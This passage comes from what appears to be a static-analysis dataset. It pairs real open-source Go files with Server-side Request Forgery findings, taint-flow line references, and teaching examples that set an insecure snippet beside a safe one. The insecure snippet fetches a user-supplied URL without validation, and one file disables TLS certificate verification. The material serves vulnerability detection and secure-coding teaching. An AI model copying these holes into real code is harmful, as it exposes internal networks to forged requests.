false)\n\t\ttoken := GetenvSafe(\"VAULT_TOKEN\", false)\n\n\t\tvaultClient = &VaultClient{\n\t\t\tvaultAddress: vaultAddress,\n\t\t\tcluster: cluster,\n\t\t\tjwt: jwt,\n\t\t\tauthURL: authURL,\n\t\t\tnamespace: namespace,\n\t\t\trole: role,\n\t\t\tclient: client,\n\t\t\tBackendVersion: vaultBackendVersion,\n\t\t\ttoken: token,\n\t\t}\n\t}\n\treturn vaultClient\n}\n\nfunc (vc VaultClient) payloadJSON() []byte {\n\tif payload, err := json.Marshal(map[string]string{\"jwt\": vc.jwt, \"role\": vc.role}); err != nil {\n\t\tlog.Fatalf(\"error creating vault JSON payload: %s\", err.Error())\n\t} else {\n\t\treturn payload\n\t}\n\treturn nil\n}\n\nfunc (vc VaultClient) newAuthRequest() *http.Request {\n\tvar req *http.Request\n\tvar err error\n\n\tif req, err = http.NewRequest(http.MethodPost, vc.authURL, bytes.NewBuffer(vc.payloadJSON())); err != nil {\n\t\tlog.Fatalf(\"error creating vault auth request: %s\", err.Error())\n\t}\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treturn req\n}\n\nfunc (vc VaultClient) newReadSecretRequest(secretPath string) *http.Request {\n\tvar req *http.Request\n\tvar err error\n\n\tsecretURL := fmt.Sprintf(\"%s/v1/%s\", vc.vaultAddress, secretPath)\n\tif req, err = http.NewRequest(\"GET\", secretURL, nil); err != nil {\n\t\tlog.Fatalf(\"error creating vault read request: %s\", err.Error())\n\t}\n\treq.Header.Set(\"X-Vault-Token\", vc.token)\n\treturn req\n}\n\nfunc (vc VaultClient) auth() (*http.Response, error) {\n\treq := vc.newAuthRequest()\n\treturn vc.client.Do(req)\n}\n\nfunc (vc VaultClient) readSecret(secretPath string) (VaultReadResponse, error) {\n\treq := vc.newReadSecretRequest(secretPath)\n\tif resp, err := vc.client.Do(req); err != nil {\n\t\treturn nil, err\n\t} else {\n\t\tbody, err := ioutil.ReadAll(resp.Body)\n\t\tdefer func() {\n\t\t\tif err := resp.Body.Close(); err != nil {\n\t\t\t\tlog.Printf(\"WARN: error closing read request response body: %s\\n\", err.Error())\n\t\t\t}\n\t\t}()\n\t\tif err != nil {\n\t\t\treturn nil, errors.New(fmt.Sprintf(\"FetchSecret() failed reading auth request response body: %s\\n\", err.Error()))\n\t\t}\n\t\tif resp.StatusCode != 200 {\n\t\t\treturn nil, vaultSecretFetcherError{fmt.Sprintf(\"FetchSecret() failed to fetch '%s' - Response code: %d\", secretPath, resp.StatusCode)}\n\t\t}\n\t\tif vc.BackendVersion == \"\" || vc.BackendVersion == \"1\" {\n\t\t\treturn NewVaultV1Response([]byte(body))\n\t\t} else if vc.BackendVersion == \"2\" {\n\t\t\treturn NewVaultV2Response([]byte(body))\n\t\t} else {\n\t\t\treturn nil, errors.New(fmt.Sprintf(\"received invalid kv version of: %s\", vc.BackendVersion))\n\t\t}\n\t}\n}\n\nfunc (vc VaultClient) LogString() string {\n\treturn vc.client.LogString()\n}\n\nfunc (vc *VaultClient) SetToken(token string) {\n\tvc.token = token\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 188, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 188, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 189, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "200659a17c1ad1caf73a013e93e1a134943f079462c9cdc17a2f9d5c5c991ded", "license": {"spdx": ["Apache-2.0"], "repo": "ApsaraDB/PolarDB-ClusterManager", "path": "pkg/notify/redline_client.go", "repo_head_hexsha": "dd1c4312b1202023eb693174e64be660d5c49140", "stack_hexsha": "3f7e8bc6ac2db03c1985fba4d27e95326c095588", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 268, "entireCode": "package notify\n\nimport (\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"github.com/ngaut/log\"\n\t\"gitlab.alibaba-inc.com/RDS_PG/polardb_cluster_manager/pkg/common\"\n\t\"io/ioutil\"\n\t\"k8s.io/apimachinery/pkg/util/wait\"\n\t\"net\"\n\t\"net/http\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n)\n\nconst IsGzipBody = false\n\ntype RedLineClient struct {\n\tEndPoints string\n}\n\nvar client = RedLineClient{\n\tEndPoints: \"\",\n}\n\ntype ApiVersionBody struct {\n\tSuccess bool `json:\"success,omitempty\"`\n\tMessage string `json:\"msg,omitempty\"`\n\tDataList []string `json:\"dataList,omitempty\"`\n}\n\nvar initLock = sync.Mutex{}\n\nvar supportEventApi = false\n\nvar GetRedLineEpStr func() (string, error) = func() (string, error) {\n\treturn \"\", fmt.Errorf(\"not real function\")\n}\n\nvar GetRedLineBackupEpStr func() (string, error) = func() (string, error) {\n\treturn \"\", fmt.Errorf(\"not real function\")\n}\n\nfunc NewRedLineClient() *RedLineClient {\n\tc := &client\n\tgo wait.Forever(c.VersionCheck, 5*time.Minute)\n\t//wait.Until(c.VersionCheck, 5* time.Minute, wait.NeverStop)\n\treturn c\n}\n\nfunc (red *RedLineClient) Init() {\n\tinitLock.Lock()\n\tdefer initLock.Unlock()\n\n\tif red.EndPoints != \"\" {\n\t\tlog.Infof(\"redLine ep is :%v\", red.EndPoints)\n\t\treturn\n\t}\n\n\tlog.Infof(\"redLine ep is null ,try get from svc\")\n\n\tep, err := GetRedLineEpStr()\n\tif err != nil {\n\t\tlog.Errorf(\" Get redLine ep err: %v, try to use backup ep next code\", err)\n\t}\n\t///\n\tif ep != \"\" {\n\t\tlog.Infof(\"set redLine ep = %v\", ep)\n\t\tred.EndPoints = ep\n\t\treturn\n\t}\n\n\tlog.Errorf(\" Get redLine ep err: ep is null, try to use backup ep\")\n\tepBackup, errBackup := GetRedLineBackupEpStr()\n\tif errBackup != nil {\n\t\tlog.Errorf(\" Get redLine backup ep err: %v, \", err)\n\t\treturn\n\t}\n\tif epBackup != \"\" {\n\t\tlog.Infof(\"set redLine backup ep = %v\", epBackup)\n\t\tred.EndPoints = epBackup\n\t} else {\n\t\tlog.Errorf(\" Get redLine epBackup err: ep is null\")\n\t\treturn\n\t}\n}\n\nvar redLineTransPort = &http.Transport{\n\tTLSClientConfig: &tls.Config{\n\t\tInsecureSkipVerify: true,\n\t},\n\tDialContext: (&net.Dialer{\n\t\tTimeout: 10 * time.Second,\n\t\tKeepAlive: 10 * time.Second,\n\t\tDualStack: true,\n\t}).DialContext,\n\tForceAttemptHTTP2: false,\n\tMaxIdleConns: 10,\n\tIdleConnTimeout: 15 * time.Second,\n\tTLSHandshakeTimeout: 10 * time.Second,\n\tExpectContinueTimeout: 1 * time.Second,\n\tMaxConnsPerHost: 10,\n}\n\nfunc (red *RedLineClient) post(params map[string]interface{}) (error, string) {\n\tif red.EndPoints == \"\" {\n\t\tred.Init()\n\t\tsupportEventApi = red.IsSupportV2Api()\n\t}\n\tif supportEventApi {\n\t\tlog.Warnf(\"event api is supported, suggest to use postV2 ,and this msg be dropped:%v \", params)\n\t\treturn nil, \"\"\n\t}\n\n\tjsonData, err := json.Marshal(params)\n\tif err != nil {\n\t\treturn err, \"\"\n\t}\n\trequestContent := string(jsonData)\n\n\tidentityKey := \"\"\n\tep, epOk := params[\"endPoint\"]\n\tif epOk {\n\t\tinsEp, chOk := ep.(common.EndPoint)\n\t\tif chOk {\n\t\t\t//identityKey = fmt.Sprintf(\"%v;%v;%v\", params[\"logicInsName\"], insEp.Host, insEp.Port)\n\t\t\tidentityKey = fmt.Sprintf(\"all-cm;%v;%v\", insEp.Host, insEp.Port)\n\n\t\t}\n\t}\n\n\t//接口文档: https://yuque.antfin-inc.com/docs/share/76c752a0-2c82-4cdd-bafd-568d35ae0ceb?#\n\n\tpostUrl := fmt.Sprintf(\"http://%v/data/upload\", red.EndPoints)\n\trequestBody := jsonData\n\tif IsGzipBody {\n\t\trequestBody = gzipContents(requestContent)\n\t}\n\n\tif requestBody == nil {\n\t\tlog.Errorf(\"null request body after gzip. msg:%v\", requestContent)\n\t\treturn fmt.Errorf(\"null request body after gzip. msg:%v\", requestContent), \"\"\n\t}\n\n\thttpReq, err := http.NewRequest(\"POST\", postUrl, strings.NewReader(string(requestBody)))\n\tif err != nil {\n\t\tlog.Errorf(\"NewRequest err:%v. msg:%v\", err, requestContent)\n\t\treturn err, \"\"\n\t}\n\n\thttpReq.Header.Set(\"header1\", \"polarbox-clustermanager;log;20200828001\") //实例类型;数据类型;数据格式Schama版本号\n\thttpReq.Header.Set(\"header2\", \"auditlog;\") //数据子类型\n\thttpReq.Header.Set(\"identityKey\", identityKey) //\"上报实例名;实例所在IP地址;实例所在端口号\"\n\tif IsGzipBody {\n\t\thttpReq.Header.Set(\"Content-Encoding\", \"gzip\")\n\t\tlog.Infof(\"try post %v : head = %v , body:%v\", postUrl, httpReq.Header, string(requestContent))\n\t} else {\n\t\thttpReq.Header.Set(\"Content-Type\", \"application/json\")\n\t\tlog.Infof(\"try post %v : head = %v , body:%v\", postUrl, httpReq.Header, string(requestBody))\n\t}\n\n\thttpClient := &http.Client{Timeout: 10 * time.Second, Transport: redLineTransPort}\n\thttpResp, err := httpClient.Do(httpReq)\n\tif err != nil {\n\t\tlog.Errorf(\"Failed to request %s err %s\", postUrl, err.Error())\n\t}\n\n\tif err != nil && httpResp == nil {\n\t\treturn fmt.Errorf(\"Failed to request %s err %s\", postUrl, err.Error()), \"\"\n\t}\n\n\terr, body := red.handleResponse(httpResp)\n\tlog.Infof(\"post %v : head = %v , response body:%v , apiErr: %v\", postUrl, httpReq.Header, body, err)\n\tif err != nil {\n\t\tlog.Warnf(\"Failed to request %s body %s err %s\", postUrl, body, err.Error())\n\t} else {\n\t\treturn nil, body\n\t}\n\treturn nil, \"\"\n\n}\n\nfunc (red *RedLineClient) VersionCheck() {\n\tif red.EndPoints == \"\" {\n\t\treturn\n\t}\n\tnewSupportEventApi := red.IsSupportV2Api()\n\tif newSupportEventApi != supportEventApi {\n\t\tlog.Infof(\"support api switch from %v to %v\", supportEventApi, newSupportEventApi)\n\t\tsupportEventApi = newSupportEventApi\n\t}\n}\n\nfunc (red *RedLineClient) IsSupportV2Api() bool {\n\terr, ver := red.GetApiVersion()\n\tif err != nil {\n\t\tlog.Warnf(\"try to get apiInfo err: %v, use default false\", err)\n\t\treturn false\n\t}\n\tlog.Infof(\"get GetApiVersion :%s\", ver)\n\t// //从4.5.0开始提供事件中心服务\n\tif \"unknown\" == ver || \"\" == ver {\n\t\treturn false\n\t}\n\tverPars := strings.Split(ver, \".\")\n\tp1 := verPars[0]\n\tp1Int, err := strconv.Atoi(p1)\n\tif err == nil {\n\t\tif p1Int > 4 { //第一个版本号大于4\n\t\t\tlog.Infof(\"ver part 1 is %s, larger than 4, support event api!\", p1)\n\t\t\treturn true\n\t\t}\n\t\tif p1Int < 4 {\n\t\t\tlog.Infof(\"ver part 1 is %s, smaller than 4, not support event api!\", p1)\n\t\t\treturn false\n\t\t}\n\t\tlog.Infof(\"ver part 1 is %s, equal 4, so continue compare next parts\", p1)\n\t\t//==4的情况,看到面版本的判断\n\t} else {\n\t\t//第1个版本号不能格式化为字符串,就按字符串大小比较\n\t\tlog.Infof(\"ver part 1 is %v, not a number (err:%v), use string compare\", p1, err)\n\t\tcValue := strings.Compare(p1, \"4\")\n\t\tif cValue > 0 {\n\t\t\tlog.Info(\"ver part 1 is %v, not a number, string compare larger than 4, support event api\", p1)\n\t\t\treturn true\n\t\t}\n\t\t//与4相等的情况,在整数中就已覆盖,因此无需再次判断\n\t\tlog.Infof(\"ver part 1 is %v, not a number, string compare smaller than 4, not support event api\", p1)\n\t\treturn false\n\t}\n\n\tif len(verPars) >= 2 {\n\t\t//第一步判断为相等,才会进入第二部判断\n\t\tp2 := verPars[1]\n\t\tp2Int, err := strconv.Atoi(p2)\n\t\tif err == nil {\n\t\t\tif p2Int >= 5 {\n\t\t\t\tlog.Infof(\"ver part 2 is %s, larger than or equal 5, support event api!\", p2)\n\t\t\t\treturn true\n\t\t\t}\n\t\t\tlog.Infof(\"ver part 2 is %s, smaller than 4, not support event api!\", p2)\n\t\t\treturn false\n\t\t} else {\n\t\t\tlog.Infof(\"ver part 2 is %v, not a number (err:%v), use string compare\", p2, err)\n\t\t\tcValue := strings.Compare(p1, \"5\")\n\t\t\tif cValue > 0 {\n\t\t\t\tlog.Infof(\"ver part 2 is %v, not a number, string compare larger than 5, support event api\", p2)\n\t\t\t\treturn true\n\t\t\t}\n\t\t\t//与4相等的情况,在整数中就已覆盖,因此无需再次判断\n\t\t\tlog.Infof(\"ver part 2 is %v, not a number, string compare smaller than 5, not support event api\", p2)\n\t\t\treturn false\n\t\t}\n\t}\n\tlog.Infof(\"ver part check done, version: %s ,use default false, not support event api\", ver)\n\n\treturn false\n}\n\nfunc (red *RedLineClient) GetApiVersion() (error, string) {\n\tpostUrl := fmt.Sprintf(\"http://%v/master/redlineSimpleVersion\", red.EndPoints)\n\trequestBody := \"{}\"\n\thttpReq, err := http.NewRequest(\"GET\", postUrl, strings.NewReader(requestBody))\n\tif err != nil {\n\t\tlog.Errorf(\"Failed to build request %s err %s\", postUrl, err.Error())\n\t\treturn fmt.Errorf(\"Failed to request %s err %s \", postUrl, err.Error()), \"\"\n\t}\n\n\thttpClient := &http.Client{Timeout: time.Duration(10 * time.Second)}\n\tlog.Infof(\"try to send get request to %s, body: %s\", postUrl, requestBody)\n\thttpResp, err := httpClient.Do(httpReq)\n\tif err != nil {\n\t\tlog.Errorf(\"Failed to request %s err %s\", postUrl, err.Error())\n\t\treturn fmt.Errorf(\"Failed to request %s err %s \", postUrl, err.Error()), \"\"\n\t}\n\n\tif err != nil && httpResp == nil {\n\t\treturn fmt.Errorf(\"Failed to request %s err %s \", postUrl, err.Error()), \"\"\n\t}\n\n\terr, body := red.handleResponse(httpResp)\n\tif err != nil {\n\t\tlog.Warnf(\"Failed to request %s body %s err %s\", postUrl, body, err.Error())\n\t\treturn fmt.Errorf(\"Failed to request %s body %s err %s \", postUrl, body, err.Error()), \"\"\n\t} else {\n\t\tlog.Infof(\"try to send get request to %s, body: %s, response: %s\", postUrl, requestBody, body)\n\t\tapiInfo := &ApiVersionBody{}\n\t\tuErr := json.Unmarshal([]byte(body), apiInfo)\n\t\tif uErr != nil {\n\t\t\treturn fmt.Errorf(\"Failed to Unmarshal %s reponse body %s err %s \", postUrl, body, err.Error()), \"\"\n\t\t}\n\t\tif len(apiInfo.DataList) > 0 {\n\t\t\treturn nil, apiInfo.DataList[0]\n\t\t}\n\t\treturn nil, \"unknown\"\n\t}\n}\n\nfunc (red *RedLineClient) postV2(params interface{}, identityKey string) (error, string) {\n\tif red.EndPoints == \"\" {\n\t\tred.Init()\n\t\tsupportEventApi = red.IsSupportV2Api()\n\t}\n\tif !supportEventApi {\n\t\treturn fmt.Errorf(\"Event api not supported, skip postV2 execution, and this msg be dropped:%v, iK:%s\", params, identityKey), \"\"\n\t}\n\n\tjsonData, err := json.Marshal(params)\n\tif err != nil {\n\t\treturn err, \"\"\n\t}\n\trequestContent := string(jsonData)\n\n\t//event center: doc: https://yuque.antfin-inc.com/aliyuntx/dg1dfo/wgg0os#985tb ,\n\t//share: https://yuque.antfin-inc.com/docs/share/1d964ca6-18cb-4f9b-bf22-147af9bee3dc?# 《事件中心技术方案设计》\n\n\tpostUrl := fmt.Sprintf(\"http://%v/data/upload\", red.EndPoints)\n\trequestBody := jsonData\n\tif IsGzipBody {\n\t\trequestBody = gzipContents(requestContent)\n\t}\n\n\tif requestBody == nil {\n\t\tlog.Errorf(\"null request body after gzip. msg:%v\", requestContent)\n\t\treturn fmt.Errorf(\"null request body after gzip. msg:%v\", requestContent), \"\"\n\t}\n\n\thttpReq, err := http.NewRequest(\"POST\", postUrl, strings.NewReader(string(requestBody)))\n\tif err != nil {\n\t\tlog.Errorf(\"NewRequest err:%v. msg:%v\", err, requestContent)\n\t\treturn err, \"\"\n\t}\n\n\thttpReq.Header.Set(\"header1\", \"event_resource;log;20210220001;POLAR_STACK\") //实例类型;数据类型;数据格式Schama版本号\n\thttpReq.Header.Set(\"header2\", \"event;\") //数据子类型\n\thttpReq.Header.Set(\"identityKey\", identityKey) //\"上报实例名;实例所在IP地址;实例所在端口号\"\n\tif IsGzipBody {\n\t\thttpReq.Header.Set(\"Content-Encoding\", \"gzip\")\n\t\tlog.Infof(\"try postV2 %v : head = %v , body:%v\", postUrl, httpReq.Header, string(requestContent))\n\t} else {\n\t\thttpReq.Header.Set(\"Content-Type\", \"application/json\")\n\t\tlog.Infof(\"try postV2 %v : head = %v , body:%v\", postUrl, httpReq.Header, string(requestBody))\n\t}\n\n\thttpClient := &http.Client{Timeout: time.Duration(10 * time.Second)}\n\thttpResp, err := httpClient.Do(httpReq)\n\tif err != nil {\n\t\tlog.Errorf(\"Failed to request %s err %s\", postUrl, err.Error())\n\t}\n\n\tif err != nil && httpResp == nil {\n\t\treturn fmt.Errorf(\"Failed to request %s err %s \", postUrl, err.Error()), \"\"\n\t}\n\n\terr, body := red.handleResponse(httpResp)\n\tlog.Infof(\"postV2 %v : head = %v , response body:%v , apiErr: %v\", postUrl, httpReq.Header, body, err)\n\tif err != nil {\n\t\tlog.Warnf(\"Failed to request %s body %s err %s\", postUrl, body, err.Error())\n\t} else {\n\n\t\treturn nil, body\n\t}\n\treturn nil, \"\"\n\n}\n\nfunc (red *RedLineClient) handleResponse(resp *http.Response) (error, string) {\n\tif resp == nil {\n\t\treturn nil, \"\"\n\t}\n\tdefer func() {\n\t\te := resp.Body.Close()\n\t\tif e != nil {\n\t\t\t//\n\t\t}\n\t}()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\n\tif err != nil {\n\t\treturn err, string(body)\n\t}\n\n\treturn nil, string(body)\n}\n\nfunc (red *RedLineClient) SendBoxInsEvent(msg map[string]interface{}) error {\n\terr, errMsg := red.post(msg)\n\tif err != nil {\n\t\tlog.Warnf(\"Failed to SendBoxInsEvent err:%v msg:%s\", err, errMsg)\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc (red *RedLineClient) SendBoxInsEventV2(msg interface{}, idKey string) error {\n\terr, errMsg := red.postV2(msg, idKey)\n\tif err != nil {\n\t\tlog.Warnf(\"Failed to SendBoxInsEventV2 err:%v msg:%s\", err, errMsg)\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc gzipContents(msg string) []byte {\n\tvar b bytes.Buffer\n\tgz := gzip.NewWriter(&b)\n\tif _, err := gz.Write([]byte(msg)); err != nil {\n\t\tlog.Errorf(\" gzip compress msg err: %v, orgMsg: %v\", err, msg)\n\t\treturn nil\n\t}\n\tif err := gz.Flush(); err != nil {\n\t\tlog.Errorf(\" gzip compress msg err: %v, orgMsg: %v\", err, msg)\n\t\treturn nil\n\t}\n\tif err := gz.Close(); err != nil {\n\t\tlog.Errorf(\" gzip compress msg err: %v, orgMsg: %v\", err, msg)\n\t\treturn nil\n\t}\n\treturn b.Bytes()\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 266, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 266, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 268, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "cda466840695cdf2d0b56688148ce0f62d9c0beaff065a6debbe584dac954d28", "license": {"spdx": ["MIT"], "repo": "genesem/kvdb", "path": "get_client/getkeys.go", "repo_head_hexsha": "49c7cab77e88e6e7f547fc31fb26292ff78d6060", "stack_hexsha": "544a56668259df0191035f940c36cec07bcfa465", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 24, "entireCode": "package main\n\nimport (\n\t//cd \"clientcodecs\"\n\t\"fmt\"\n\tcd \"github.com/genesem/kvdb/clientcodecs\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"time\"\n)\n\nconst baseurl = \"http://localhost:3000/?q=%s\"\n\nfunc main() {\n\tstrkeys := []string{\"key1\", \"key2\", \"key3\", \"key4\", \"key5\", \"key6\", \"key7\"}\n\tdone := make(chan string)\n\n\tfor ic := 0; ic < 1; ic++ { // loop to stress: 1000\n\t\tstart := time.Now()\n\n\t\tfor _, u := range strkeys {\n\t\t\tgo func(u string) {\n\n\t\t\t\tresp, err := http.Get(fmt.Sprintf(baseurl, u))\n\t\t\t\tdefer resp.Body.Close() // close resp when finished\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tdone <- u + \" \" + err.Error()\n\t\t\t\t} else {\n\n\t\t\t\t\tobjx := []string{}\n\n\t\t\t\t\tif resp.StatusCode == http.StatusOK {\n\t\t\t\t\t\tbody, _ := ioutil.ReadAll(resp.Body) // process err later\n\t\t\t\t\t\tfmt.Printf(\"got body:`%s`\\n\", body)\n\n\t\t\t\t\t\tswitch body[0] { // set type prefix to ret result\n\t\t\t\t\t\tcase '+': //`string`\n\t\t\t\t\t\t\tfmt.Printf(\"got string\\n\")\n\t\t\t\t\t\tcase '$': //`[]string` aks list\n\t\t\t\t\t\t\tfmt.Printf(\"got list\\n\")\n\t\t\t\t\t\tcase '#': //`map[string]string` aka dict\n\t\t\t\t\t\t\tfmt.Printf(\"got dict\\n\")\n\t\t\t\t\t\tcase '-': // error\n\t\t\t\t\t\t\tfmt.Printf(\"got error\\n\")\n\t\t\t\t\t\tdefault: // return format error\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tcd.Decode(&objx, body[1:]) // skip 1st char as its type sign\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tfmt.Printf(\"key %s not found\\n\", u)\n\t\t\t\t\t}\n\t\t\t\t\tfmt.Printf(\"result for key(%s):`%v`\\n\", u, objx)\n\n\t\t\t\t\tdone <- u + \" \" + resp.Status\n\n\t\t\t\t}\n\t\t\t}(u)\n\t\t}\n\n\t\tfor _ = range strkeys {\n\t\t\tfmt.Println(<-done, time.Since(start))\n\t\t}\n\n\t} // end loop\n\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 24, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "213c0b00e16d942a223b94161f5275c6f1345ca4f52f6cdab396fb23039d9c5a", "license": {"spdx": ["Apache-2.0"], "repo": "yahoojapan/athenz-client-sidecar", "path": "service/role.go", "repo_head_hexsha": "34a3328e71eac9f70da341e3f8220733a1efcac7", "stack_hexsha": "5e7f8afae1e3dd7e3389eedae930759b9ea0c89e", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 413, "entireCode": "/*\nCopyright (C) 2018 Yahoo Japan Corporation Athenz team.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage service\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/x509\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"os\"\n\t\"sort\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/kpango/fastime\"\n\t\"github.com/kpango/gache\"\n\t\"github.com/kpango/glg\"\n\t\"github.com/kpango/ntokend\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/yahoojapan/athenz-client-sidecar/v2/config\"\n\t\"golang.org/x/sync/singleflight\"\n)\n\n// RoleService represents an interface to automatically refresh the role token, and a role token provider function pointer.\ntype RoleService interface {\n\tStartRoleUpdater(context.Context) <-chan error\n\tRefreshRoleTokenCache(ctx context.Context) <-chan error\n\tGetRoleProvider() RoleProvider\n}\n\n// roleService represents the implementation of Athenz RoleService\ntype roleService struct {\n\tcfg config.RoleToken\n\ttoken ntokend.TokenProvider\n\tathenzURL string\n\tathenzPrincipleHeader string\n\tdomainRoleCache gache.Gache\n\tgroup singleflight.Group\n\texpiry time.Duration\n\thttpClient atomic.Value\n\trootCAs *x509.CertPool\n\tcertPath string\n\tcertKeyPath string\n\n\trefreshPeriod time.Duration\n\terrRetryMaxCount int\n\terrRetryInterval time.Duration\n}\n\ntype cacheData struct {\n\ttoken *RoleToken\n\tdomain string\n\trole string\n\tproxyForPrincipal string\n\tminExpiry int64\n\tmaxExpiry int64\n}\n\n// RoleToken represents the basic information of the role token.\ntype RoleToken struct {\n\tToken string `json:\"token\"`\n\tExpiryTime int64 `json:\"expiryTime\"`\n}\n\n// RoleProvider represents a function pointer to get the role token.\ntype RoleProvider func(ctx context.Context, domain string, role string, proxyForPrincipal string, minExpiry int64, maxExpiry int64) (*RoleToken, error)\n\nvar (\n\t// ErrRoleTokenRequestFailed represents an error when failed to fetch the role token from RoleProvider.\n\tErrRoleTokenRequestFailed = errors.New(\"Failed to fetch RoleToken\")\n\n\t// ErrInvalidSetting represents an error when the config file is invalid.\n\tErrInvalidSetting = errors.New(\"Invalid config\")\n\n\t// ErrDisabled represents an error when the service is disabled\n\tErrDisabled = 